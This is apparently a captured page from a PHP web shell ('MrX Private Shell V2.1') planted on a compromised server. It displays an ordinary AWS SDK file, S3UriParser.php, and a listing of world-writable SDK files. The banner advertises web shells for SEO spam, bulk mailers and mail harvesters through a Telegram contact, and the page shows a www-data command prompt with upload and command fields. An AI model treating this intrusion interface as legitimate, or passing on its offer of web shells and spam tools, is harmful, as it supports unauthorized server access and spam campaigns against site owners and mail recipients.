__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
namespace Aws\S3;

use Aws\Arn\Exception\InvalidArnException;
use Aws\Arn\S3\AccessPointArn;
use Aws\Arn\ArnParser;
use GuzzleHttp\Psr7;
use Psr\Http\Message\UriInterface;

/**
 * Extracts a region, bucket, key, and and if a URI is in path-style
 */
class S3UriParser
{
    private $pattern = '/^(.+\\.)?s3[.-]([A-Za-z0-9-]+)\\./';
    private $streamWrapperScheme = 's3';

    private static $defaultResult = [
        'path_style' => true,
        'bucket'     => null,
        'key'        => null,
        'region'     => null
    ];

    /**
     * Parses a URL or S3 StreamWrapper Uri (s3://) into an associative array
     * of Amazon S3 data including:
     *
     * - bucket: The Amazon S3 bucket (null if none)
     * - key: The Amazon S3 key (null if none)
     * - path_style: Set to true if using path style, or false if not
     * - region: Set to a string if a non-class endpoint is used or null.
     *
     * @param string|UriInterface $uri
     *
     * @return array
     * @throws \InvalidArgumentException|InvalidArnException
     */
    public function parse($uri)
    {
        // Attempt to parse host component of uri as an ARN
        $components = $this->parseS3UrlComponents($uri);
        if (!empty($components)) {
            if (ArnParser::isArn($components['host'])) {
                $arn = new AccessPointArn($components['host']);
                return [
                    'bucket' => $components['host'],
                    'key' => $components['path'],
                    'path_style' => false,
                    'region' => $arn->getRegion()
                ];
            }
        }

        $url = Psr7\Utils::uriFor($uri);

        if ($url->getScheme() == $this->streamWrapperScheme) {
            return $this->parseStreamWrapper($url);
        }

        if (!$url->getHost()) {
            throw new \InvalidArgumentException('No hostname found in URI: '
                . $uri);
        }

        if (!preg_match($this->pattern, $url->getHost(), $matches)) {
            return $this->parseCustomEndpoint($url);
        }

        // Parse the URI based on the matched format (path / virtual)
        $result = empty($matches[1])
            ? $this->parsePathStyle($url)
            : $this->parseVirtualHosted($url, $matches);

        // Add the region if one was found and not the classic endpoint
        $result['region'] = $matches[2] == 'amazonaws' ? null : $matches[2];

        return $result;
    }

    private function parseS3UrlComponents($uri)
    {
        preg_match("/^([a-zA-Z0-9]*):\/\/([a-zA-Z0-9:-]*)\/(.*)/", $uri, $components);
        if (empty($components)) {
            return [];
        }
        return [
            'scheme' => $components[1],
            'host' => $components[2],
            'path' => $components[3],
        ];
    }

    private function parseStreamWrapper(UriInterface $url)
    {
        $result = self::$defaultResult;
        $result['path_style'] = false;

        $result['bucket'] = $url->getHost();
        if ($url->getPath()) {
            $key = ltrim($url->getPath(), '/ ');
            if (!empty($key)) {
                $result['key'] = $key;
            }
        }

        return $result;
    }

    private function parseCustomEndpoint(UriInterface $url)
    {
        $result = self::$defaultResult;
        $path = ltrim($url->getPath(), '/ ');
        $segments = explode('/', $path, 2);

        if (isset($segments[0])) {
            $result['bucket'] = $segments[0];
            if (isset($segments[1])) {
                $result['key'] = $segments[1];
            }
        }

        return $result;
    }

    private function parsePathStyle(UriInterface $url)
    {
        $result = self::$defaultResult;

        if ($url->getPath() != '/') {
            $path = ltrim($url->getPath(), '/');
            if ($path) {
                $pathPos = strpos($path, '/');
                if ($pathPos === false) {
                    // https://s3.amazonaws.com/bucket
                    $result['bucket'] = $path;
                } elseif ($pathPos == strlen($path) - 1) {
                    // https://s3.amazonaws.com/bucket/
                    $result['bucket'] = substr($path, 0, -1);
                } else {
                    // https://s3.amazonaws.com/bucket/key
                    $result['bucket'] = substr($path, 0, $pathPos);
                    $result['key'] = substr($path, $pathPos + 1) ?: null;
                }
            }
        }

        return $result;
    }

    private function parseVirtualHosted(UriInterface $url, array $matches)
    {
        $result = self::$defaultResult;
        $result['path_style'] = false;
        // Remove trailing "." from the prefix to get the bucket
        $result['bucket'] = substr($matches[1], 0, -1);
        $path = $url->getPath();
        // Check if a key was present, and if so, removing the leading "/"
        $result['key'] = !$path || $path == '/' ? null : substr($path, 1);

        return $result;
    }
}

Filemanager

Name Type Size Permission Actions
Crypto Folder 0777
Exception Folder 0777
RegionalEndpoint Folder 0777
UseArnRegion Folder 0777
AmbiguousSuccessParser.php File 2.23 KB 0777
ApplyChecksumMiddleware.php File 4.83 KB 0777
BatchDelete.php File 7.49 KB 0777
BucketEndpointArnMiddleware.php File 13.69 KB 0777
BucketEndpointMiddleware.php File 3.32 KB 0777
CalculatesChecksumTrait.php File 1.8 KB 0777
EndpointRegionHelperTrait.php File 3.15 KB 0777
GetBucketLocationParser.php File 1.29 KB 0777
MultipartCopy.php File 8.83 KB 0777
MultipartUploader.php File 6.13 KB 0777
MultipartUploadingTrait.php File 4.11 KB 0777
ObjectCopier.php File 5.82 KB 0777
ObjectUploader.php File 5.37 KB 0777
PermanentRedirectMiddleware.php File 1.7 KB 0777
PostObject.php File 3.83 KB 0777
PostObjectV4.php File 5.3 KB 0777
PutObjectUrlMiddleware.php File 1.55 KB 0777
RetryableMalformedResponseParser.php File 1.42 KB 0777
S3Client.php File 51.1 KB 0777
S3ClientInterface.php File 14.11 KB 0777
S3ClientTrait.php File 10.17 KB 0777
S3EndpointMiddleware.php File 11.05 KB 0777
S3MultiRegionClient.php File 19.6 KB 0777
S3UriParser.php File 4.91 KB 0777
SSECMiddleware.php File 2.24 KB 0777
StreamWrapper.php File 30.7 KB 0777
Transfer.php File 15.15 KB 0777
ValidateResponseChecksumParser.php File 5.09 KB 0777
Filemanager